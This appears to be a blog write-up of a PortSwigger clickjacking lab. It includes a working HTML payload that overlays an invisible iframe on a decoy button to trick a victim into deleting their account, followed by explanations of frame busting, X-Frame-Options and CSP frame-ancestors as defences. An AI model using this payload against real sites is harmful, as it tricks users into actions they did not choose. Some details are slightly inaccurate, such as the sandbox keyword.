Log in the application with the given credentials.
If we go to Account actions, we can delete our account.
So what we could do now ?
If the page is vulnerable to clickjacking, we can hide the iframe and convince a user to click another button (or word) that we have added in the page without he knows anything.
What you have to do is just simply deliver the code below to the victim.
<!DOCTYPE html>
<html>
<body>
<style>
iframe {
position:relative;
width:500px;
height: 700px;
opacity: 0.0001;
z-index: 2;
}
div {
position:absolute;
top:320px;
left:60px
z-index: 1;
}
</style>
<div>Test me</div>
<iframe src="Your_URL"></iframe>
</body>
</html>
This is the result of the code.
In short, the code above makes sure that the written Test me text is aligned exactly on the delete button of the iframe page.
We can see from CSS parameters that the iframe has a very low opacity, so it will be invisible to the user also the z-index tag will make sure that the Portswigger page is located on the top of Test me.
More information about z-index here.
There are several ways to mitigate a clickjacking vulnerability, I’ll start writing from the least reliable to the most secure method.
Frame busting, it’s a client-side technique that uses JavaScript to avoid that your page can be framed into another page.
As almost all the client side techniques it can be easily bypassed using the sandbox attribute of the iframe tag with, for example, the allow-script parameter that will allow the tag to execute JavaScript code therefore bypassing the protection mechanism.
Here you can find the Portswigger lab if you want to practice a bit.
2. X-Frame option.
The X-Frame option is a server-side technique that mitigates clickjacking using the X-Frame header.
This header can be configured with 3 parameters in an HTTP request.
Every iframe will be blocked.
Iframe is allowed, but can only be embedded in a frame on a page with the same origin as itself (For example, if http://example.com request an iframe of itself only it will be allowed to use it).
The iframe can be used by whitelisted websites.
X-Frame-Options: deny
X-Frame-Options: sameorigin
X-Frame-Options: allow-from http://example.com
Even if it is an excellent technique, today it is considered deprecated and CSP is used instead.
3. CSP.
CSP stands for content security policy is a defensive mechanism implemented by websites to prevent clickjacking and other client side attacks such as XSS.
It is usually implemented in the web server as a return header.
You can use the frame-ancestors parameter for clickjacking with the none option which is the equivalent of deny for the X-Frame, the self as sameorigin and with the name of the site allowed to embed the webpage.
Content-Security-Policy: frame-ancestors 'none'
Content-Security-Policy: frame-ancestors 'self'
Content-Security-Policy: frame-ancestors http://example.com
More on CSP.
Before concluding, I would like to make a note about the report of this vulnerability.
Even if a page can be included in an iframe, it doesn’t mean it’s a vulnerability itself.
In fact, clickjacking can only be exploited at the moment when for example in the page is present a form or an XSS vulnerability.
As always, guys, thank you guys for getting to the end.
See you in the next article.
Bye.